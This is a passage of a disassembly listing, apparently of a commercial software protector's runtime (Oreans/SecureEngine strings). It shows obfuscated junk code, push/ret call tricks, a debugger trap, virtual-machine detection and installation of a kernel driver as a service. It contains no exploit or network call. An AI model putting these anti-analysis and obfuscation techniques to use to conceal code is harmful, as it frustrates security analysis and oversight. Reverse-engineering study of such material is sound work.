		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597F62
		mov	dword ptr [ebp+5D115B9h], 1


loc_597F62:				; CODE XREF: sub_597E63+EFj
		lea	esi, [ebp+5D3DF11h]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597F8A
		mov	dword ptr [ebp+5D115B9h], 1


loc_597F8A:				; CODE XREF: sub_597E63+117j
		lea	esi, [ebp+5D3DF1Ch]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597FB2
		mov	dword ptr [ebp+5D12A2Dh], 1


loc_597FB2:				; CODE XREF: sub_597E63+13Fj
		lea	esi, [ebp+5D3DF22h]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_597FDA
		mov	dword ptr [ebp+5D1131Dh], 1


loc_597FDA:				; CODE XREF: sub_597E63+167j
		lea	esi, [ebp+5D3DF28h]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_598002
		mov	dword ptr [ebp+5D11681h], 1


loc_598002:				; CODE XREF: sub_597E63+18Fj
		lea	esi, [ebp+5D3DF36h]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_59802A
		mov	dword ptr [ebp+5D10F05h], 1


loc_59802A:				; CODE XREF: sub_597E63+1B7j
		lea	esi, [ebp+5D3DF43h]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_598052
		mov	dword ptr [ebp+5D131EDh], 1


loc_598052:				; CODE XREF: sub_597E63+1DFj
		lea	esi, [ebp+5D3DF4Eh]
		call	sub_598093
		add	edi, [ebp+5D3DF6Fh]
		cmp	dword ptr [ebp+5D3DF6Fh], 0
		jz	loc_59807A
		mov	dword ptr [ebp+5D115A5h], 1


loc_59807A:				; CODE XREF: sub_597E63+207j
		jmp	loc_598080
; ---------------------------------------------------------------------------


loc_59807F:				; CODE XREF: sub_597E63+229j
		inc	edi


loc_598080:				; CODE XREF: sub_597E63:loc_59807Aj
		cmp	byte ptr [edi],	20h
		jz	locret_598092
		cmp	byte ptr [edi],	0
		jnz	loc_59807F

locret_598092:				; CODE XREF: sub_597E63+220j
		retn
sub_597E63	endp


; =============== S U B	R O U T	I N E =======================================



sub_598093	proc near		; CODE XREF: sub_597E63+6p
					; sub_597E63+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_5980BC
; ---------------------------------------------------------------------------


loc_5980A0:				; CODE XREF: sub_598093+34j
		cmp	byte ptr [edi],	0
		jnz	loc_5980AB
		sub	ecx, ecx


loc_5980AB:				; CODE XREF: sub_598093+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_5980BA
		mov	ecx, 0


loc_5980BA:				; CODE XREF: sub_598093+1Cj
		inc	esi
		inc	edi


loc_5980BC:				; CODE XREF: sub_598093+8j
		cmp	byte ptr [esi],	0
		jz	loc_5980CD
		or	ecx, ecx
		jnz	loc_5980A0


loc_5980CD:				; CODE XREF: sub_598093+2Cj
		or	ecx, ecx
		jz	loc_5980F6
		cmp	byte ptr [edi],	0
		jz	loc_5980E7
		cmp	byte ptr [edi],	20h
		jnz	loc_5980F1


loc_5980E7:				; CODE XREF: sub_598093+45j
		mov	ecx, 1
		jmp	loc_5980F6
; ---------------------------------------------------------------------------


loc_5980F1:				; CODE XREF: sub_598093+4Ej
		mov	ecx, 0


loc_5980F6:				; CODE XREF: sub_598093+3Cj
					; sub_598093+59j
		or	ecx, ecx
		jz	loc_59810B
		sub	esi, ebx
		mov	[ebp+5D3DF6Fh],	esi
		jmp	loc_598115
; ---------------------------------------------------------------------------


loc_59810B:				; CODE XREF: sub_598093+65j
		mov	dword ptr [ebp+5D3DF6Fh], 0


loc_598115:				; CODE XREF: sub_598093+73j
		popa
		retn
sub_598093	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597DC2


loc_598117:				; CODE XREF: sub_597DC2+34j
					; sub_597DC2+3Ej ...
		mov	ecx, eax
		jmp	loc_5991C7
; END OF FUNCTION CHUNK	FOR sub_597DC2
; ---------------------------------------------------------------------------
		dw 4441h
		dd 49504156h, 442E3233h, 4F004C4Ch, 536E6570h, 6E614D43h
		dd 72656761h, 72430041h, 65746165h, 76726553h, 41656369h
		dd 61745300h, 65537472h, 63697672h, 47004165h, 614E7465h
		dd 65766974h, 74737953h, 6E496D65h, 4F006F66h, 536E6570h
		dd 69767265h, 416563h, 656C6544h, 65536574h, 63697672h
		dd 6C430065h, 5365736Fh, 69767265h, 61486563h, 656C646Eh
		dd 6E6F4300h, 6C6F7274h, 76726553h, 656369h, 8 dup(0)
		dd 6165726Fh, 3233736Eh, 7379732Eh, 2 dup(0)
		dd 65726F00h, 78736E61h, 732E3436h, 7379h, 0
		dd 6F000000h, 6E616572h, 323373h, 5C2E5C5Ch, 6165726Fh
		dd 3233736Eh, 2E5C5C00h, 6F6C475Ch, 5C6C6162h, 6165726Fh
		dd 3233736Eh, 65726F00h, 78736E61h, 5C003436h, 475C2E5Ch
		dd 61626F6Ch, 726F5C6Ch, 736E6165h, 343678h, 42h dup(0)
aSystemroot	db 'SYSTEMROOT',0
aSSystem32Drive	db '%s\system32\drivers\%s',0
aSSyswow64Drive	db '%s\syswow64\drivers\%s',0
aSSystem32Dri_0	db '%s\system32\drivers\oreans32.sys',0
		align 10h
		dd 48h dup(0)
		dd 43330000h, 6F6E6E61h, 70552074h, 65746164h, 65726F20h
		dd 2E736E61h, 20737973h, 76697264h, 202E7265h, 61656C50h
		dd 202C6573h, 656B616Dh, 72757320h, 68742065h, 79207461h
		dd 6820756Fh, 0A657661h, 6D64610Dh, 73696E69h, 74617274h
		dd 7327726Fh, 72657020h, 7374696Dh, 65687420h, 72696620h
		dd 74207473h, 20656D69h, 74616874h, 756F7920h, 65726120h
		dd 696F6720h, 7420676Eh, 7572206Fh, 6874206Eh, 70207369h
		dd 72676F72h, 2E6D61h, 59h dup(0)
		dd 43330000h, 6F6E6E61h, 706F2074h, 6F206E65h, 6E616572h
		dd 78762E73h, 72642064h, 72657669h, 614D202Eh, 7320656Bh
		dd 20657275h, 74616874h, 65726F20h, 2E736E61h, 0A647876h
		dd 2073690Dh, 20746F6Eh, 6E65706Fh, 20796220h, 746F6E61h
		dd 20726568h, 676F7270h, 2E6D6172h, 67h	dup(0)
		dd 53330000h, 72756365h, 676E4565h, 20656E69h, 76697264h
		dd 63207265h, 6F6E6E61h, 65622074h, 64707520h, 64657461h
		dd 63656220h, 65737561h, 65687420h, 61206572h, 73206572h
		dd 20656D6Fh, 676F7270h, 736D6172h, 69737520h, 0D0A676Eh
		dd 202E7469h, 20756F59h, 6465656Eh, 206F7420h, 736F6C63h
		dd 68742065h, 2065736Fh, 676F7270h, 736D6172h, 20726F20h
		dd 74736572h, 20747261h, 72756F79h, 6D6F6320h, 65747570h
		dd 0D0A2E72h, 74736552h, 20747261h, 3F776F6Eh, 0D9h dup(0)
		dd 5C5C0000h, 724F5C2Eh, 736E6165h, 6478762Eh, 2 dup(0)
		dd 25000000h, 724F5C73h, 736E6165h, 6478762Eh, 2 dup(0)
		dd 58000000h, 746F7270h, 6E657645h, 74h, 0Ah dup(0)
		dd 65530000h, 74756853h, 6E776F64h, 76697250h, 67656C69h
		dd 65h,	72430000h, 65746165h, 6E657645h, 50412074h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 45746547h, 7269766Eh
		dd 656D6E6Fh, 6156746Eh, 62616972h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 4D43536Eh
		dd 67616E61h, 41207265h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 65724300h, 53657461h, 69767265h, 41206563h
		dd 45204950h, 726F7272h, 69687720h, 6520656Ch, 61727478h
		dd 6F697463h, 6874206Eh, 72642065h, 72657669h, 6F6C4300h
		dd 65536573h, 63697672h, 6E614865h, 20656C64h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 65536E65h
		dd 63697672h, 50412065h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 72617453h, 72655374h, 65636976h, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 41007265h, 20434950h
		dd 6F727265h, 43203A72h, 6F6E6E61h, 69662074h, 5020646Eh
		dd 65636F72h, 726F7373h, 6F432073h, 6F72746Eh, 6C42206Ch
		dd 736B636Fh, 6C50202Eh, 65736165h, 630D0A2Ch, 61746E6Fh
		dd 69207463h, 406F666Eh, 6165726Fh, 632E736Eh, 66206D6Fh
		dd 7420726Fh, 20736968h, 6F727265h, 72h, 1040000h, 53330000h
		dd 7972726Fh, 6874202Ch, 61207369h, 696C7070h, 69746163h
		dd 63206E6Fh, 6F6E6E61h, 75722074h, 6E75206Eh, 20726564h
		dd 69562061h, 61757472h, 614D206Ch, 6E696863h, 65h, 6Fh	dup(0)
		dd 10000000h, 0
		dd 0FFFF0001h, 17FFEh, 10000h, 24A0000h, 0
		dd 0F0001h, 94000408h, 5000000h, 1000000h, 28000000h, 200000Ah
		dd 53000000h, 69767265h, 50206563h, 206B6361h, 32h, 1Ch	dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597DC2


loc_5991C7:				; CODE XREF: sub_597DC2+357j
		mov	eax, esp
		adc	edi, 393C86A9h
		mov	[ebp+5D1144Dh],	eax
		call	sub_5991E5
		int	3		; Trap to Debugger
		xor	[ecx], ebx
		mov	dl, 0FCh
		jmp	fword ptr [edx+ebp*2]
; END OF FUNCTION CHUNK	FOR sub_597DC2
; ---------------------------------------------------------------------------
		dw 847Dh
		db 12h

; =============== S U B	R O U T	I N E =======================================



sub_5991E5	proc near		; CODE XREF: sub_597DC2+1413p
		jb	loc_5991F1
		jns	$+6


loc_5991F1:				; CODE XREF: sub_5991E5j
		pop	edx
		call	near ptr loc_5991FB+5
		cmp	esp, edi
		sub	al, 0B1h


loc_5991FB:				; CODE XREF: sub_5991E5+Dp
		sub	ch, [ecx-74A1AAA3h]
sub_5991E5	endp ; sp-analysis failed

		mov	ebp, 5D10971h
		pop	edi
		mov	eax, eax
		push	0
		push	ebp
		call	sub_599214
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599214	proc near		; CODE XREF: ud2_____:0059920Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_599214	endp

; ---------------------------------------------------------------------------
		dd 9884D35Bh, 0A0B4D133h, 4149BF74h, 0BD833087h, 5D11671h
		dd 83097500h, 0D1121DBDh, 19740005h, 0C08B5350h, 43DB8h
		dd 9858900h, 8D05D114h,	0D3A1CD9Dh, 5BD3FF05h, 1DBD8358h
		dd 5D112h, 53501774h, 43DB8h, 9858900h,	8D05D114h, 0D39EBC9Dh
		dd 5BD3FF05h, 0D1B70F58h, 6840Fh, 8D890000h, 5D1082Dh
		dd 0E680C08Bh, 0FC08B0Dh, 0E8Eh, 0B58B6000h, 5D100BDh
		dd 0BC29C181h, 83612CA5h, 0D11671BDh, 9750005h,	121DBD83h
		dd 740005D1h, 8B535013h, 0B8C0h, 9D8D0000h, 5D3A06Fh, 585BD3FFh
		dd 121DBD83h, 740005D1h, 0B8535011h, 0
; ---------------------------------------------------------------------------
		lea	ebx, [ebp+5D39F20h]
		call	ebx	; WideCharToMultiByte
		pop	ebx
		pop	eax
		jmp	loc_5992FB
; ---------------------------------------------------------------------------
		db 38h
		dd 8E0AA0EAh, 0A7380EF5h, 89A91EAAh
		db 6Eh,	6Fh, 97h
; ---------------------------------------------------------------------------


loc_5992FB:				; CODE XREF: ud2_____:005992E6j
		mov	eax, eax
		jl	loc_599309
		mov	[ebp+5D10AC1h],	edx


loc_599309:				; CODE XREF: ud2_____:005992FDj
		mov	eax, eax
		sub	cl, 0B4h
		mov	edx, [ebp+5D11839h]
		cmp	dword ptr [ebp+5D11671h], 0
		jnz	short loc_599326
		cmp	dword ptr [ebp+5D1121Dh], 0
		jz	short loc_599339


loc_599326:				; CODE XREF: ud2_____:0059931Bj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 0
		lea	ebx, [ebp+5D39FA1h]
		call	ebx	; WideCharToMultiByte
		pop	ebx
		pop	eax


loc_599339:				; CODE XREF: ud2_____:00599324j
		cmp	dword ptr [ebp+5D1121Dh], 0
		jz	short loc_599353
		push	eax
		push	ebx
		mov	eax, 0
		lea	ebx, [ebp+5D39EEEh]
		call	ebx	; WideCharToMultiByte
		pop	ebx
		pop	eax


loc_599353:				; CODE XREF: ud2_____:00599340j
		movsx	edx, bx
		mov	edi, [ebp+5D131A9h]
		jle	loc_599368
		mov	[ebp+5D10D31h],	esi


loc_599368:				; CODE XREF: ud2_____:0059935Cj
		mov	eax, eax
		push	0
		push	ebp
		call	sub_599375
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599375	proc near		; CODE XREF: ud2_____:0059936Dp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ch
		inc	ebp
		push	ebp
		retn
sub_599375	endp

; ---------------------------------------------------------------------------
		db 8Fh,	0D7h, 6
		dd 96EFB85h, 8589B5BBh,	5D11DF5h, 8509C08Bh, 5D124D5h
		dd 1671BD83h, 750005D1h, 1DBD8309h, 5D112h, 53501374h
		dd 0B8C08Bh, 8D000000h,	0D3A0089Dh, 5BD3FF05h, 1DBD8358h
		dd 5D112h, 53501174h, 0B8h, 79D8D00h, 0FF05D39Fh, 89585BD3h
		dd 0D1200DBDh, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 8AC08B56h, 6AC08BC8h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0AB86C353h, 88696636h, 83FE8B66h,	0D11671BDh
		dd 9750005h, 121DBD83h,	740005D1h, 8B535013h, 0B8C0h, 9D8D0000h
		dd 5D39F3Ah, 585BD3FFh,	0D698D89h, 958B05D1h, 5D12015h
		dd 0BF66C08Bh, 8B66D8D8h, 0FC08BFBh, 1388h, 7E800h, 61700000h
		dd 0CA9C5C27h, 7D958B28h, 5F05D118h, 1671BD83h,	750005D1h
		dd 1DBD8309h, 5D112h, 53501974h, 0D0B8C08Bh, 89000007h
		dd 0D1140985h, 0CD9D8D05h, 0FF05D3A1h, 83585BD3h, 0D1121DBDh
		dd 17740005h, 0D0B85350h, 89000007h, 0D1140985h, 0BC9D8D05h
		dd 0FF05D39Eh, 60585BD3h, 14D9858Bh, 8B6605D1h,	958B61D7h
		dd 5D12789h, 0E9F98B66h, 0Dh, 0F6FD4A91h, 0D2AC862Eh, 3EA09E05h
		dd 6AC08B72h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 0F638C351h, 0F77EF733h, 24D985C6h
		dd 8B5305D1h, 0D11B0D95h, 5F906805h, 8B669939h,	99B5FFC8h
		dd 8D05D106h, 0D1384A85h, 8D8B5205h, 5D12A41h, 6AD0FF5Ah
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 6875C355h, 1B219531h, 858905D1h, 5D10EDDh
		dd 0C6D3B70Fh, 0D124D985h, 6A5705h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 0AD42BCC3h
		dd 0B26E13Fh, 8D310754h, 5D122C1h, 32A9952Bh, 66805D1h
		dd 0B5900452h, 99B5FFFFh, 2905D106h, 0D11CE5BDh, 4A858D05h
		dd 6A05D138h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 3359C350h, 49BA29C0h, 8B660860h
		dd 89D0FFCEh, 0D1127985h, 0A5B58905h, 0C605D112h, 0D124D985h
		dd 3574305h, 0D126C195h, 28685905h, 1BC9070h, 0D131158Dh
		dd 99B5FF05h, 8905D106h, 0D1245585h, 4A858D05h,	0B605D138h
		dd 80D0FF61h, 85895BEEh, 5D10F75h, 0F8F88B60h, 0D985C661h
		dd 4C05D124h, 1CE968F8h, 12E9D9DAh, 0CF000000h,	0DDCFCC9h
		dd 505037ABh, 0C4689A53h, 2AB86936h, 0C1958B7Ah, 0FF05D131h
		dd 0D10699B5h, 0B5BD2905h, 8D05D132h, 0D1384A85h, 67BE6005h
		dd 606C4E2Ch, 358BE781h, 0BF0F5FC4h, 96161D1h, 0D11F45B5h
		dd 6AD0FF05h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 57C8C351h, 0ED981EBFh,	0EE95A58h
		dd 0BB000000h, 9ECAC265h, 4109241Fh, 0E185A48Ah, 0C985896Ch
		dd 6A05D130h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 1A6BC350h, 80847BE1h, 41BD8B60h
		dd 6105D122h, 24D985C6h, 8B4605D1h, 0D10ED58Dh,	6146805h
		dd 82B5BADEh, 699B5FFh,	0F58005D1h, 9BDD802Ch, 384A858Dh
		dd 6A05D1h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0D88C08C3h, 24554303h, 0A5BD894Fh, 0B05D113h
		dd 0D13195BDh, 6AD0FF05h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 9B50C353h, 80680256h
		dd 8589EDD5h, 5D124BDh,	99080BAh, 0D985C605h, 4705D124h
		dd 8BD08B66h, 0D1316595h, 0B5E26805h, 0BD8B8A0Fh, 5D10FFDh
		dd 699B5FFh, 950B05D1h,	5D11451h, 384A858Dh, 850F05D1h
		dd 0
; ---------------------------------------------------------------------------
		call	eax
		jz	loc_5997AA
		mov	edx, [ebp+5D1231Dh]


loc_5997AA:				; CODE XREF: ud2_____:0059979Ej
		mov	[ebp+5D112EDh],	eax
		sub	dh, 0FFh
		and	di, 6185h
		mov	byte ptr [ebp+5D124D9h], 47h
		push	0
		push	ecx
		call	sub_5997CA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5997CA	proc near		; CODE XREF: ud2_____:005997C2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5997CA	endp

; ---------------------------------------------------------------------------
		xor	byte ptr [ebp-67h], 68h
		fucomp	st(7)
		push	83D0B5F3h
		xor	[ebp+5D120B9h],	esi
		push	dword ptr [ebp+5D10699h]
		movsx	edx, di
		lea	eax, [ebp+5D1384Ah]
		push	0
		push	ecx
		call	sub_599805
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599805	proc near		; CODE XREF: ud2_____:005997FDp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_599805	endp

; ---------------------------------------------------------------------------
		db 5, 0Bh, 6Dh
		dd 1CC88515h, 0E9CD2547h, 9, 0EAF04370h, 27DE5D28h, 0FD0FF73h
		dd 8Ch,	25858900h, 8905D11Bh, 0D11E5185h, 0D985C605h, 7705D124h
		dd 0ED19529h, 0A36805D1h, 6AF397A8h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 0FBD0C353h
		dd 0FFB8B66h, 587h, 0C03FB900h,	0B5FF03F1h, 5D10829h, 0CB5BD8Bh
		dd 858D05D1h, 5D1384Ah,	16C58509h, 0D0FF05D1h, 89D0B70Fh
		dd 0D11D4985h, 0C686B205h, 0D124D985h, 8B664705h, 0FAF668FEh
		dd 0EABF8728h, 0FF690E58h, 0D10699B5h, 2D8D8905h, 8D05D119h
		dd 0D1384A85h, 459D8905h, 0FF05D11Bh, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 5D18B0D2h, 1ADE068Eh, 8589CBE6h, 5D13091h, 63E28166h
		dd 0D985C6E6h, 4305D124h, 5E856h, 0D93D0000h, 9269F39h
		dd 0D11F9DB5h, 68595A05h, 0BC8E6EFCh, 1E71BD8Bh, 0B5FF05D1h
		dd 5D10699h, 0B994B966h, 384A858Dh, 958B05D1h, 5D10FFDh
		dd 0FFCD0FFh, 480h, 8BB96600h, 3585895Ah, 6A05D102h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0EF44C353h, 0B3B1B7FAh, 24D985C6h, 6A4505D1h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0AC24C352h, 667A1668h, 59AFD281h, 10E9h, 5251CB00h
		dd 0B7470ECAh, 0C47CAA1Dh, 94CFB24Ah, 696968C2h, 0C7818E72h
		dd 63EBD3D4h, 699B5FFh,	0B58905D1h, 5D1169Dh, 384A858Dh
		dd 810F05D1h, 18h, 13E9h, 29AD1C00h, 0D64FA22Dh, 0FA3D731Dh
		dd 0BF29CF1Dh, 5FBA6FDBh, 0E981D0FFh, 7003D495h, 24258589h
		dd 0DE805D1h, 35000000h, 0B231574Eh, 1F5AB0C4h,	0CCB965C0h
		dd 0DE9h, 46FABC00h, 6AFBC1A9h,	0D4A3E132h, 0C65A8629h
		dd 0D124D985h, 64684405h, 0E9B8F2ECh, 5, 519AA68h, 99B5FF93h
		dd 6A05D106h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0F540C357h, 0A76D1D20h, 858DAC89h
		dd 5D1384Ah, 0FE9h, 0B396D500h,	88D87BE5h, 0ECE0E4DEh
		dd 0FC8A098Fh, 6AD0FFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 11E9EBC3h, 0DC000000h, 0A8FE906Dh
		dd 0EFAB463h, 0C5163D37h, 0E257A954h, 0D218589h, 6A05D1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 55BC29C3h, 0E7E20447h, 8B666060h, 11BD89DAh,	6105D10Dh
		dd 0FE8h, 58EFB200h, 0ECAFD51Dh, 1060C12Ch, 92F64938h
		dd 1049BD09h, 615905D1h, 24D985C6h, 0E84305D1h,	0Bh, 0D99D5D61h
		dd 0AEF76359h, 66D2EE24h, 6859CF8Bh, 0C0764AA7h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8CC35747h, 0ACF80A72h
		dd 93EA5DDCh, 0FFFABF0Fh, 0D10699B5h, 0E98D8B05h, 8D05D10Eh
		dd 0D1384A85h, 52006A05h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 71BFDF99h, 0F25C7D72h
		dd 66FC6069h, 6661F18Bh, 0FF6F0BBFh, 0BD8B60D0h, 5D10151h
		dd 242D858Bh, 8B6105D1h, 0D118758Dh, 39858905h,	0B205D11Dh
		dd 0E4BD8015h, 5D3EEh, 0B9840Fh, 890F0000h, 3, 8DF98B66h
		dd 0D3EEC685h, 79958B05h, 5005D11Fh, 314D958Bh,	16A05D1h
		dd 6A52B5h, 0A480BA66h,	6A006Ah, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0FAA9EC3h, 687h, 0C9950900h
		dd 0E905D11Bh, 11h, 0DC2B721Fh,	4E4D8E92h, 0AB618C5Fh
		dd 52D72Bh, 7595FFA4h, 2905D10Fh, 0D109B19Dh, 89858905h
		dd 105D10Bh, 0D117D9BDh, 9FF6A05h, 0D1195985h, 89B5FF05h
		dd 0E805D10Bh, 5, 95EA474Bh, 5870F2Dh, 66000000h, 27A8CF81h
		dd 7995FF59h, 0E805D112h, 7, 19A4EEDEh,	0FE6C86Fh, 8B59D2BFh
		dd 35BD8BC0h, 8305D127h, 0D11671BDh, 9750005h, 121DBD83h
		dd 740005D1h, 8B535019h, 7D1B8C0h, 85890000h, 5D11409h
		dd 0A1CD9D8Dh, 0D3FF05D3h, 0BD83585Bh, 5D1121Dh, 50177400h
		dd 7D1B853h, 85890000h,	5D11409h, 9EBC9D8Dh, 0D3FF05D3h
		dd 0BF0F585Bh, 0CD8589F9h, 6605D11Ah, 2FD1E781h, 8D8BC08Bh
		dd 5D1017Dh, 24D985C6h,	664705D1h, 0C168D18Bh, 8993C8F7h
		dd 0D10EE9BDh, 0CD98005h, 699B5FFh, 76B905D1h, 8D76F455h
		dd 0D1384A85h, 0FFCE8B05h, 6D9503D0h, 5005D10Eh, 181BD8Bh
		dd 858D05D1h, 5D3F307h,	264D9509h, 0C705D1h, 94h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 4FC35040h, 0AE9C13Ah
		dd 0B3000000h, 7C74E5A2h, 7A1A3AEEh, 58F98B45h,	59531h
		dd 0B58D05D1h, 5D3F307h, 24359D89h, 0F5605D1h, 886h, 85895000h
		dd 5D11CC1h, 66D0FF5Ah,	8D6438BFh, 0D3F30785h, 0BDBD0105h
		dd 8305D123h, 0F060478h, 2085h,	0BE900h, 0D4490000h, 564D06CFh
		dd 16058BCh, 9B85C71Ah,	105D3F3h, 8B000000h, 0D11FD5BDh
		dd 8DBD8305h, 5D125h, 47850Fh, 0C9800000h, 9BBD83E2h, 5D3F3h
		dd 37850Fh, 8D290000h, 5D11B35h, 1725BD83h, 0F0005D1h
		dd 2484h, 0FE900h, 83470000h, 6021BA51h, 673366B0h, 0F319E057h
		dd 185C74Fh, 5D128h, 89000000h,	0D1317D8Dh, 0DB8C6605h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 19C35343h
		dd 89CC493Eh, 0D116399Dh, 4C3F605h, 4D6840Fh, 0BF660000h
		dd 85C7FCDCh, 5D120E9h,	0
; ---------------------------------------------------------------------------
		jmp	loc_599E47
; ---------------------------------------------------------------------------
		stc
		test	eax, 0F3A3E6C2h


loc_599E47:				; CODE XREF: ud2_____:00599E3Cj
		cmp	byte ptr [ebp+5D3EEF1h], 0
		jnz	loc_599E56
		push	eax
		pop	edx


loc_599E56:				; CODE XREF: ud2_____:00599E4Ej
		mov	byte ptr [ebp+5D124D9h], 47h
		jmp	loc_599E6A
; ---------------------------------------------------------------------------
		dw 0CD83h
		dd 87022FA2h
		db 80h,	0D2h
; ---------------------------------------------------------------------------


loc_599E6A:				; CODE XREF: ud2_____:00599E5Dj
		push	0E3E45B86h
		push	0
		push	esi
		call	sub_599E7A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599E7A	proc near		; CODE XREF: ud2_____:00599E72p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_599E7A	endp

; ---------------------------------------------------------------------------
		daa
		scasd
		db	2Eh
		popf
		lodsb
		rol	dword ptr [edi+699B5FFh], cl
		rol	dword ptr ds:858DFCF5h,	1
		dec	edx
		cmp	cl, dl
		add	eax, 219BD31h
		rol	dword ptr ds:6AD0FFh, 1
		push	esi
		call	sub_599EB2
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599EB2	proc near		; CODE XREF: ud2_____:00599EAAp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_599EB2	endp

; ---------------------------------------------------------------------------
		fmul	qword ptr [ebp-763F9DA4h]
		lea	edi, [ebp+11h]
		rol	dword ptr ds:0E257F781h, 1
		jnb	short loc_599F3C
		push	104h
		mov	edi, [ebp+5D109BDh]
		lea	ebx, [ebp+5D1071Dh]
		mov	cl, 0D2h
		push	ebx
		mov	[ebp+5D12301h],	edi
		call	eax
		mov	dx, cx
		lea	eax, [ebp+5D1071Dh]
		mov	[ebp+5D12641h],	esi
		push	eax
		mov	edi, [ebp+5D112CDh]
		lea	eax, [ebp+5D3EEA3h]
		push	0
		push	ebp
		call	sub_599F16
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_599F16	proc near		; CODE XREF: ud2_____:00599F0Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_599F16	endp

; ---------------------------------------------------------------------------
		adc	[ebx], ah
		push	eax
		sub	[ebp+5D11AA9h],	esi
		add	edx, 3165E0DAh
		lea	eax, [ebp+5D3E576h]
		clc


loc_599F3C:				; CODE XREF: ud2_____:00599ED1j
		and	cx, 0E704h
		push	eax
		mov	[ebp+5D13175h],	esi
		call	dword ptr [ebp+5D11D49h]
		xor	[ebp+5D117F9h],	ebx
		add	esp, 0Ch
		mov	[ebp+5D10A8Dh],	eax
		push	0
		push	80h
		push	3
		push	0
		push	0
